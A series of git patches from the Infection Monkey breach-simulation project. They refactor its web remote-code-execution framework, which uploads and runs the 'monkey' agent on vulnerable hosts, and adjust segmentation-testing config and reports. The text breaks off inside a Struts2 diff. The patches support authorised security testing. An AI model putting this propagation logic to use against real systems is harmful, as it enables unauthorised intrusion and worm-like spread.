local_port: - :return: + :param local_ip: IP where to host server + :param local_port: Port at which to host monkey's download + :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler """ # To avoid race conditions we pass a locked lock to http servers thread lock = Lock() @@ -514,22 +513,22 @@ def get_monkey_depth(): return WormConfiguration.depth -def get_monkey_dest_path(src_path): +def get_monkey_dest_path(url_to_monkey): """ Gets destination path from source path. - :param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ from config import WormConfiguration - if not src_path or ('linux' not in src_path and 'windows' not in src_path): - LOG.error("Can't get destination path because source path %s is invalid.", src_path) + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) return False try: - if 'linux' in src_path: + if 'linux' in url_to_monkey: return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in src_path: + elif 'windows-32' in url_to_monkey: return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in src_path: + elif 'windows-64' in url_to_monkey: return WormConfiguration.dropper_target_path_win_64 else: LOG.error("Could not figure out what type of monkey server was trying to upload, " diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index f99e4da52..48a599f5c 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -1,6 +1,5 @@ import logging -from threading import Lock from exploit import HostExploiter from model import * from posixpath import join @@ -24,9 +23,50 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist - @abstractmethod def exploit_host(self): - raise NotImplementedError() + """ + Example workflow of the framework. Most likely you will have to override this method. + :return: True if exploited and False otherwise. + """ + # Get open ports + ports = self.get_ports_w(self.HTTP, ["http"]) + if not ports: + return False + # Get urls to try to exploit + urls = self.build_potential_urls(ports) + vulnerable_urls = [] + for url in urls: + if self.check_if_exploitable(url): + vulnerable_urls.append(url) + self._exploit_info['vulnerable_urls'] = vulnerable_urls + + if not vulnerable_urls: + return False + + # Skip if monkey already exists and this option is given + if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + # Check for targets architecture (if it's 32 or 64 bit) + if not self.set_host_arch(vulnerable_urls[0]): + return False + + # Upload the right monkey to target + data = self.upload_monkey(vulnerable_urls[0]) + + if data is not False and data['response'] is False: + return False + + # Change permissions to transform monkey into executable file + if self.change_permissions(vulnerable_urls[0], data['path']) is False: + return False + + # Execute remote monkey + if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: + return False + + return True @abstractmethod def exploit(self, url, command): @@ -34,7 +74,7 @@ class WebRCE(HostExploiter): A reference to a method which implements web exploit logic. :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param command: Command which will be executed on remote host - :return: Command's output string. Or True/False if it's a blind exploit + :return: RCE's output/True if successful or False if failed """ raise NotImplementedError() @@ -123,7 +163,7 @@ class WebRCE(HostExploiter): :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... """ if 'linux' in self.host.os['type']: - resp = self.exploit(url, ARCH_LINUX) + resp = self.exploit(url, GET_ARCH_LINUX) if resp: # Pulls architecture string arch = re.search('(?<=Architecture:)\s+(\w+)', resp) @@ -140,7 +180,7 @@ class WebRCE(HostExploiter): else: return False else: - resp = self.exploit(url, ARCH_WINDOWS) + resp = self.exploit(url, GET_ARCH_WINDOWS) if resp: if "64-bit" in resp: return "64" @@ -224,10 +264,9 @@ class WebRCE(HostExploiter): LOG.error("Unknown target's os type. Skipping.") return False # Choose command: - if commands: - command = self.get_command(path, http_path, commands) - else: - command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}) + if not commands: + commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} + command = self.get_command(path, http_path, commands) resp = self.exploit(url, command) diff --git a/infection_monkey/model/__init__.py b/infection_monkey/model/__init__.py index 8b4f8d4ab..4a8218a2e 100644 --- a/infection_monkey/model/__init__.py +++ b/infection_monkey/model/__init__.py @@ -25,7 +25,7 @@ RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s" # Commands used to check for architecture and if machine is exploitable CHECK_COMMAND = "echo %s" % ID_STRING # Architecture checking commands -ARCH_WINDOWS = "wmic os get osarchitecture" -ARCH_LINUX = "lscpu" +GET_ARCH_WINDOWS = "wmic os get osarchitecture" +GET_ARCH_LINUX = "lscpu" DOWNLOAD_TIMEOUT = 300 \ No newline at end of file diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index aa6cf4ee0..72664f0ab 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -187,6 +187,10 @@ class HTTPServer(threading.Thread): class LockedHTTPServer(threading.Thread): """ Same as HTTPServer used for file downloads just with locks to avoid racing conditions. + You create a lock instance and pass it to this server's constructor. Then acquire the lock + before starting the server and after it. Once the server starts it will release the lock + and subsequent code will be able to continue to execute. That way subsequent code will + always call already running HTTP server """ # Seconds to wait until server stops STOP_TIMEOUT = 5 From 5565a8041888bba1c8d722548104446ea85ad9f1 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Fri, 17 Aug 2018 13:53:09 +0300 Subject: [PATCH 131/243] Web_RCE framework now supports custom monkey uploading paths( we don't always have permissions to uppload to C:\Windows) --- infection_monkey/exploit/web_rce.py | 68 ++++++++++++++++++++++++++--- 1 file changed, 62 insertions(+), 6 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 48a599f5c..c26d4a920 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -17,9 +17,19 @@ LOOK_FOR_FILE = "ls %s" class WebRCE(HostExploiter): - def __init__(self, host): + def __init__(self, host, monkey_target_paths=None): + """ + :param host: Host that we'll attack + :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + """ super(WebRCE, self).__init__(host) self._config = __import__('config').WormConfiguration + if monkey_target_paths: + self.monkey_target_paths = monkey_target_paths + else: + self.monkey_target_paths = {'linux': self._config.dropper_target_path_linux, + 'win32': self._config.dropper_target_path_win_32, + 'win64': self._config.dropper_target_path_win_64} self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist @@ -87,7 +97,7 @@ class WebRCE(HostExploiter): candidate_services = {} candidate_services.update({ service: self.host.services[service] for service in self.host.services if - (self.host.services[service]['name'] in names) + (self.host.services[service] and self.host.services[service]['name'] in names) }) valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if @@ -205,9 +215,9 @@ class WebRCE(HostExploiter): """ paths = [] if 'linux' in self.host.os['type']: - paths.append(self._config.dropper_target_path_linux) + paths.append(self.monkey_target_paths['linux']) else: - paths.extend([self._config.dropper_target_path_win_32, self._config.dropper_target_path_win_64]) + paths.extend([self.monkey_target_paths['win32'], self.monkey_target_paths['win64']]) for path in paths: if self.check_remote_monkey_file(url, path): return True @@ -251,7 +261,7 @@ class WebRCE(HostExploiter): return False # Determine which destination path to use LOG.debug("Monkey path found") - path = get_monkey_dest_path(src_path) + path = self.get_monkey_upload_path(src_path) if not path: return False # Create server for http download and wait for it's startup. @@ -323,7 +333,11 @@ class WebRCE(HostExploiter): LOG.info("Trying to execute remote monkey") # Get monkey command line if dropper and path: - monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, path) + # If dropper is chosen we try to move monkey to default location + default_path = self.custom_to_dropper_path(path) + if default_path is False: + return False + monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd} else: monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) @@ -346,3 +360,45 @@ class WebRCE(HostExploiter): return False LOG.info("Execution attempt finished") return resp + + def get_monkey_upload_path(self, url_to_monkey): + """ + Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths). + :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe + :return: Corresponding monkey path from self.monkey_target_paths + """ + if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) + return False + try: + if 'linux' in url_to_monkey: + return self.monkey_target_paths['linux'] + elif 'windows-32' in url_to_monkey: + return self.monkey_target_paths['win32'] + elif 'windows-64' in url_to_monkey: + return self.monkey_target_paths['win64'] + else: + LOG.error("Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen.") + return False + except AttributeError: + LOG.error("Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey") + return False + + def custom_to_dropper_path(self, path): + try: + key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)] + except KeyError: + LOG.error("The path you used is not in monkey_target_paths array. Skipping") + return False + if key == 'linux': + return self._config.dropper_target_path_linux + elif key == 'win32': + return self._config.dropper_target_path_win_32 + elif key == 'win64': + return self._config.dropper_target_path_win_64 + else: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") + return False From e3d286dbc006f0b482ffc24bf74b6c958d00fd91 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Sat, 18 Aug 2018 13:14:05 +0300 Subject: [PATCH 132/243] Minor bugfix for error handling in new custom monkey destination paths feature --- infection_monkey/exploit/web_rce.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index c26d4a920..bb4613b1f 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -381,9 +381,9 @@ class WebRCE(HostExploiter): LOG.error("Could not figure out what type of monkey server was trying to upload, " "thus destination path can not be chosen.") return False - except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") + except KeyError: + LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " + "custom dict of monkey's destination paths") return False def custom_to_dropper_path(self, path): From bafa0e42a00ad7079274ccdd8d40cc567e803582 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 21 Aug 2018 11:34:26 +0300 Subject: [PATCH 133/243] Make feature simpler Change config value phrasing --- infection_monkey/config.py | 2 +- infection_monkey/network/network_scanner.py | 10 +++---- monkey_island/cc/services/config.py | 31 ++++++++------------- monkey_island/cc/services/report.py | 2 +- 4 files changed, 18 insertions(+), 27 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 328bbf719..72586a231 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -185,7 +185,7 @@ class Configuration(object): local_network_scan = True subnet_scan_list = ['', ] - inaccessible_subnet_groups = [] + inaccessible_subnets = [] blocked_ips = ['', ] diff --git a/infection_monkey/network/network_scanner.py b/infection_monkey/network/network_scanner.py index 65fd473b3..20133a9a7 100644 --- a/infection_monkey/network/network_scanner.py +++ b/infection_monkey/network/network_scanner.py @@ -41,18 +41,18 @@ class NetworkScanner(object): def _get_inaccessible_subnets_ips(self): """ - For each of the machine's IPs, checks if it's in one of the subnet groups specified in the - 'inaccessible_subnet_groups' config value. If so, all other subnets in the same group shouldn't be accessible. + For each of the machine's IPs, checks if it's in one of the subnets specified in the + 'inaccessible_subnets' config value. If so, all other subnets in the config value shouldn't be accessible. All these subnets are returned. :return: A list of subnets that shouldn't be accessible from the machine the monkey is running on. """ subnets_to_scan = [] - for subnet_group in WormConfiguration.inaccessible_subnet_groups: - for subnet_str in subnet_group: + if len(WormConfiguration.inaccessible_subnets) > 1: + for subnet_str in WormConfiguration.inaccessible_subnets: if NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], subnet_str): # If machine has IPs from 2 different subnets in the same group, there's no point checking the other # subnet. - for other_subnet_str in subnet_group: + for other_subnet_str in WormConfiguration.inaccessible_subnets: if other_subnet_str == subnet_str: continue if not NetworkScanner._is_any_ip_in_subnet([unicode(x) for x in self._ip_addresses], diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 5bddc1901..b00bfe61c 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -222,33 +222,24 @@ SCHEMA = { "title": "Network Analysis", "type": "object", "properties": { - "inaccessible_subnet_groups": { - "title": "Inaccessible IP/subnet groups", + "inaccessible_subnets": { + "title": "Network segmentation testing", "type": "array", "uniqueItems": True, "items": { - "type": "array", - "title": "Subnet group", - "items": { - "type": "string" - }, - "minItems": 2, - "uniqueItems": True, - "description": "List of IPs/subnets." - " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\"," - " \"192.168.0.5/24\"" + "type": "string" }, "default": [ ], "description": - "You can use this feature to test for network segmentation, by proving lists of" - " IP/subnet groups that should not be accessible to each other. Each input group" - " consists of subnets that should not be accessible to each other. If the Monkey" - " is inside of one of the subnets it will attempt to connect to machines in the" - " other subnet." - " Example, by providing input 192.168.1.0/24, 192.168.2.0/24, 192.168.3.1-192.168.3.10," - " a Monkey with the IP address 192.168.2.5 will try to access machines inside" - " 192.168.1.0/24 or 192.168.3.1-192.168.3.10." + "Test for network segmentation by providing a list of" + " subnets that should NOT be accessible to each other." + " For example, given the following configuration:" + " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" + " a Monkey running on 10.0.0.5 will try to access machines in the following" + " subnets: 11.0.0.2/32, 12.2.3.0/24." + " An alert on successful connections will be shown in the report" + " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" } } } diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index ba2fc56b3..159e52476 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -442,7 +442,7 @@ class ReportService: cross_segment_issues = [] subnet_groups = ConfigService.get_config_value( - ['basic_network', 'network_analysis', 'inaccessible_subnet_groups']) + ['basic_network', 'network_analysis', 'inaccessible_subnets']) for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) From 911404ef680a1d59a6905104e89a93730f913823 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Tue, 21 Aug 2018 12:34:59 +0300 Subject: [PATCH 134/243] Implemented default_exploit_host method that can implement whole framework's workflow according to some flags/params --- infection_monkey/exploit/web_rce.py | 89 ++++++++++++++++++----------- 1 file changed, 56 insertions(+), 33 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index bb4613b1f..777b256bd 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -11,13 +11,17 @@ from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' LOG = logging.getLogger(__name__) -# Commands used to check if monkeys already exists +# Command used to check if monkeys already exists LOOK_FOR_FILE = "ls %s" +POWERSHELL_NOT_FOUND = "owershell is not recognized" +# Constants used to refer to windows architectures( used in host.os['machine']) +WIN_ARCH_32 = "32" +WIN_ARCH_64 = "64" class WebRCE(HostExploiter): - def __init__(self, host, monkey_target_paths=None): + def __init__(self, host, monkey_target_paths): """ :param host: Host that we'll attack :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } @@ -35,7 +39,22 @@ class WebRCE(HostExploiter): def exploit_host(self): """ - Example workflow of the framework. Most likely you will have to override this method. + Override this method to pass custom arguments to default_exploit_host + :return: True if exploited, False otherwise + """ + return self.default_exploit_host() + + def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None, + stop_checking_urls=False, blind_exploit=False): + """ + Standard framework usage (call this method in exploit_host function): + :param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + it's file to the default destination path. + :param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + Command must have "monkey_path" and "http_path" format parameters. + :param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + :param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + :param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. :return: True if exploited and False otherwise. """ # Get open ports @@ -43,27 +62,29 @@ class WebRCE(HostExploiter): if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports) + urls = self.build_potential_urls(ports, url_extensions) vulnerable_urls = [] for url in urls: if self.check_if_exploitable(url): vulnerable_urls.append(url) + if stop_checking_urls: + break self._exploit_info['vulnerable_urls'] = vulnerable_urls if not vulnerable_urls: return False # Skip if monkey already exists and this option is given - if self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not self.set_host_arch(vulnerable_urls[0]): + if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0]) + data = self.upload_monkey(vulnerable_urls[0], upload_commands) if data is not False and data['response'] is False: return False @@ -73,7 +94,7 @@ class WebRCE(HostExploiter): return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False: return False return True @@ -113,16 +134,16 @@ class WebRCE(HostExploiter): return True def get_command(self, path, http_path, commands): - if 'linux' in self.host.os['type']: - command = commands['linux'] - else: - command = commands['windows'] - # Format command try: + if 'linux' in self.host.os['type']: + command = commands['linux'] + else: + command = commands['windows'] + # Format command command = command % {'monkey_path': path, 'http_path': http_path} except KeyError: - LOG.error("Trying to exploit linux host, but linux command is missing/bad! " - "Check upload_monkey function docs.") + LOG.error("Provided command is missing/bad for this type of host! " + "Check upload_monkey function docs before using custom monkey's upload commands.") return False return command @@ -193,9 +214,9 @@ class WebRCE(HostExploiter): resp = self.exploit(url, GET_ARCH_WINDOWS) if resp: if "64-bit" in resp: - return "64" + return WIN_ARCH_64 else: - return "32" + return WIN_ARCH_32 else: return False @@ -280,7 +301,7 @@ class WebRCE(HostExploiter): resp = self.exploit(url, command) - if not isinstance(resp, bool) and 'owershell is not recognized' in resp: + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} resp = self.exploit(url, backup_command) @@ -334,7 +355,7 @@ class WebRCE(HostExploiter): # Get monkey command line if dropper and path: # If dropper is chosen we try to move monkey to default location - default_path = self.custom_to_dropper_path(path) + default_path = self.get_default_dropper_path() if default_path is False: return False monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path) @@ -386,19 +407,21 @@ class WebRCE(HostExploiter): "custom dict of monkey's destination paths") return False - def custom_to_dropper_path(self, path): - try: - key = self.monkey_target_paths.keys()[self.monkey_target_paths.values().index(path)] - except KeyError: - LOG.error("The path you used is not in monkey_target_paths array. Skipping") + def get_default_dropper_path(self): + """ + Gets default dropper path for the host. + :return: Default monkey's destination path for corresponding host. + E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host + """ + if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): + LOG.error("Target's OS was either unidentified or not supported. Aborting") return False - if key == 'linux': + if self.host.os['type'] == 'linux': return self._config.dropper_target_path_linux - elif key == 'win32': - return self._config.dropper_target_path_win_32 - elif key == 'win64': - return self._config.dropper_target_path_win_64 - else: - LOG.error("Unknown key was found. Please use \"linux\", \"win32\" and \"win64\" keys to initialize " - "custom dict of monkey's destination paths") - return False + if self.host.os['type'] == 'windows': + try: + if self.host.os['machine'] == WIN_ARCH_64: + return self._config.dropper_target_path_win_64 + except KeyError: + LOG.debug("Target's machine type was not set. Using win-32 dropper path.") + return self._config.dropper_target_path_win_32 From 369795e3751754b5723adf8ad907b533c843df71 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 21 Aug 2018 17:17:21 +0300 Subject: [PATCH 135/243] small fixes to make everything work --- monkey_island/cc/services/report.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index a49708c81..192d7d140 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -488,14 +488,14 @@ class ReportService: return cross_segment_issues @staticmethod - def get_cross_segement_issues(): + def get_cross_segment_issues(): scans = mongo.db.telemetry.find({'telem_type': 'scan'}, {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) cross_segment_issues = [] - subnet_groups = ConfigService.get_config_value( - ['basic_network', 'network_analysis', 'inaccessible_subnets']) + # For now the feature is limited to 1 group. + subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) @@ -504,11 +504,10 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() +\ ISSUE_GENERATORS = [ ReportService.get_exploits, ReportService.get_tunnels, - ReportService.get_cross_segment_issues, + ReportService.get_island_cross_segment_issues, ReportService.get_azure_issues ] @@ -622,7 +621,7 @@ class ReportService: issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() - cross_segment_issues = ReportService.get_cross_segement_issues() + cross_segment_issues = ReportService.get_cross_segment_issues() report = \ { From eae3f3440d4d383e7ac0d0e547a2a3a691c75f05 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 13:33:36 +0300 Subject: [PATCH 136/243] Refactored exploit_host and added get_exploit_config --- infection_monkey/exploit/web_rce.py | 56 ++++++++++++++++++----------- 1 file changed, 35 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 777b256bd..c907ca08e 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -37,37 +37,51 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist + @staticmethod + def get_exploit_config(): + """ + Method that creates a dictionary of configuration values for exploit + :return: configuration dict + """ + exploit_config = dict() + + # dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy + # it's file to the default destination path. + exploit_config['dropper'] = False + + # upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} + # Command must have "monkey_path" and "http_path" format parameters. If None defaults will be used. + exploit_config['upload_commands'] = None + + # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] + exploit_config['url_extensions'] = None + + # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. + exploit_config['stop_checking_urls'] = False + + # blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. + exploit_config['blind_exploit'] = False + + return exploit_config + def exploit_host(self): """ Override this method to pass custom arguments to default_exploit_host :return: True if exploited, False otherwise """ - return self.default_exploit_host() - - def default_exploit_host(self, dropper=False, upload_commands=None, url_extensions=None, - stop_checking_urls=False, blind_exploit=False): - """ - Standard framework usage (call this method in exploit_host function): - :param dropper: If true monkey will use dropper parameter that will detach monkey's process and try to copy - it's file to the default destination path. - :param upload_commands: Unformatted dict with one or two commands {'linux': WGET_HTTP_UPLOAD,'windows': WIN_CMD} - Command must have "monkey_path" and "http_path" format parameters. - :param url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - :param stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. - :param blind_exploit: If true we won't check if file exist and won't try to get the architecture of target. - :return: True if exploited and False otherwise. - """ + # We get exploit configuration + exploit_config = self.get_exploit_config() # Get open ports ports = self.get_ports_w(self.HTTP, ["http"]) if not ports: return False # Get urls to try to exploit - urls = self.build_potential_urls(ports, url_extensions) + urls = self.build_potential_urls(ports, exploit_config['url_extensions']) vulnerable_urls = [] for url in urls: if self.check_if_exploitable(url): vulnerable_urls.append(url) - if stop_checking_urls: + if exploit_config['stop_checking_urls']: break self._exploit_info['vulnerable_urls'] = vulnerable_urls @@ -75,16 +89,16 @@ class WebRCE(HostExploiter): return False # Skip if monkey already exists and this option is given - if not blind_exploit and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not blind_exploit and not self.set_host_arch(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0], upload_commands) + data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) if data is not False and data['response'] is False: return False @@ -94,7 +108,7 @@ class WebRCE(HostExploiter): return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], dropper) is False: + if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: return False return True From e1b1236fb3bdb0cdd5ccbef739d9b3e55b20eaa3 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 13:41:17 +0300 Subject: [PATCH 137/243] Comments and CR notes fixed --- infection_monkey/exploit/web_rce.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index c907ca08e..4eaefc3b3 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -5,7 +5,7 @@ from model import * from posixpath import join import re from abc import abstractmethod -from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools, get_monkey_dest_path +from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from network.tools import check_tcp_port, tcp_port_to_service __author__ = 'VakarisZ' @@ -24,7 +24,8 @@ class WebRCE(HostExploiter): def __init__(self, host, monkey_target_paths): """ :param host: Host that we'll attack - :param monkey_target_paths: Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } + :param monkey_target_paths: Where to upload the monkey at the target host system. + Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... } """ super(WebRCE, self).__init__(host) self._config = __import__('config').WormConfiguration @@ -66,7 +67,7 @@ class WebRCE(HostExploiter): def exploit_host(self): """ - Override this method to pass custom arguments to default_exploit_host + Method that contains default exploitation workflow :return: True if exploited, False otherwise """ # We get exploit configuration @@ -424,7 +425,7 @@ class WebRCE(HostExploiter): def get_default_dropper_path(self): """ Gets default dropper path for the host. - :return: Default monkey's destination path for corresponding host. + :return: Default monkey's destination path for corresponding host or False if failed. E.g. config.dropper_target_path_linux(/tmp/monkey.sh) for linux host """ if not self.host.os.get('type') or (self.host.os['type'] != 'linux' and self.host.os['type'] != 'windows'): From 3e7d7425e4f608562ec667b88170b472ede04b8b Mon Sep 17 00:00:00 2001 From: Vakaris Date: Wed, 22 Aug 2018 16:01:16 +0300 Subject: [PATCH 138/243] made get_exploit_config non-static for readability --- infection_monkey/exploit/web_rce.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index 4eaefc3b3..0b4d041a1 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -38,8 +38,7 @@ class WebRCE(HostExploiter): self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist - @staticmethod - def get_exploit_config(): + def get_exploit_config(self): """ Method that creates a dictionary of configuration values for exploit :return: configuration dict From bbd4adf2aef1d798e2573cd2c2a26f82ea1117ea Mon Sep 17 00:00:00 2001 From: Vakaris Date: Thu, 19 Jul 2018 13:42:01 +0300 Subject: [PATCH 139/243] Struts2 core functions --- infection_monkey/exploit/struts2.py | 201 +++++----------------------- 1 file changed, 36 insertions(+), 165 deletions(-) diff --git a/infection_monkey/exploit/struts2.py b/infection_monkey/exploit/struts2.py index c489a3784..395fe422a 100644 --- a/infection_monkey/exploit/struts2.py +++ b/infection_monkey/exploit/struts2.py @@ -9,11 +9,8 @@ import unicodedata import re import logging -from exploit import HostExploiter -from exploit.tools import get_target_monkey, get_monkey_depth -from tools import build_monkey_commandline, HTTPTools -from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \ - DROPPER_ARG +from web_rce import WebRCE +import copy __author__ = "VakarisZ" @@ -21,167 +18,57 @@ LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 -# Commands used to check if monkeys already exists -FIND_FILE = "ls %s" -class Struts2Exploiter(HostExploiter): +class Struts2Exploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] def __init__(self, host): super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self.skip_exist = 